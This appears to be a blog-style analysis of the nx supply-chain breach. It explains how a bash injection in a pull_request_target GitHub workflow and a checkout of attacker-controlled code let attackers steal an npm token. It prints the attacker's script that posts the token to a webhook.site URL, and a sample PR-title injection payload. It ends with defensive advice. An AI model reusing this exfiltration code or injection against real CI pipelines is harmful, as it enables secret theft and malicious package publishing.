How did they breach nx to publish a malicious package?
It started with the nx team introducing a bash injection vulnerability in a new github workflow:
- name: Create PR message file
run: |
mkdir -p /tmp
cat > /tmp/pr-message.txt << 'EOF'
${{ github.event.pull_request.title }}
${{ github.event.pull_request.body }}
EOF
Both ${{ github.event.pull_request.title }}
and ${{ github.event.pull_request.body }}
are untrusted content that is directly used inside the run
context of the workflow.
Additionally the pull_request_target
trigger runs workflows with a GITHUB_TOKEN
with read/write privilege on the target repository (the one it tries to mergo to).
The team reverted this change but the vulnerability was still present in an outdated branch.
The attacker then created a new PR against the outdated branch to exploit it.
They aimed to use the bash injection to retrieve the privileged GITHUB_TOKEN
and trigger the publish.yaml
workflow, which is the one used to publish a package to npm with token authentication.
Notably, the publish.yaml
workflow did checkout the incoming branch code:
# Default checkout on the triggering branch so that the latest publish-resolve-data.js script is available
- uses: actions/checkout@v4
This was key to put and run the second exploit, since all the code in the workspace is from the triggering branch under the attacker control:
- name: Resolve and set checkout and version data to use for release
id: script
uses: actions/github-script@v7
env:
PR_NUMBER: ${{ github.event.inputs.pr }}
with:
github-token: ${{ secrets.GITHUB_TOKEN }}
script: |
const script = require('${{ github.workspace }}/scripts/publish-resolve-data.js');
await script({ github, context, core });
The publish pipeline had available a NPM_TOKEN
secret to authenticate to npm, and in the pull request the attackers added this to /scripts/publish-resolve-data.js
:
const npmToken = process.env.NODE_AUTH_TOKEN;
if (!npmToken) {
throw new Error('NPM_TOKEN environment variable is not set');
}
try {
await new Promise((resolve, reject) => {
exec(`curl -d "${npmToken}" https://webhook.site/59b25209-bb18-4beb-a762-38a0717f9dcf`, (error, stdout, stderr) => {
if (error) {
reject(`Error executing curl command: ${error.message}`);
return;
}
if (stderr) {
console.error(`Curl stderr: ${stderr}`);
}
console.log(`Curl output: ${stdout}`);
resolve();
});
});
} catch (error) {
core.setFailed(error);
}
core.setFailed("Stall");
I didn’t find the exact injected command but something like this as the title for the PR would have done it:
$(export GH_TOKEN=$GITHUB_TOKEN && gh run publish.yaml)
The NPM_TOKEN
was retrieved from the env and sent to a remote webhook.
Then with the token, they were able to push a new package directly to npm.
How to defend:
- Do not use untrusted input in the
run
context of a workflow - You need to scrub older branches (maybe rebase them?) to make sure the vuln is not reachable
- Do not checkout incoming branch code if you use
pull_request_trigger
- Do not publish packages with token authentication, use a second factor mechanism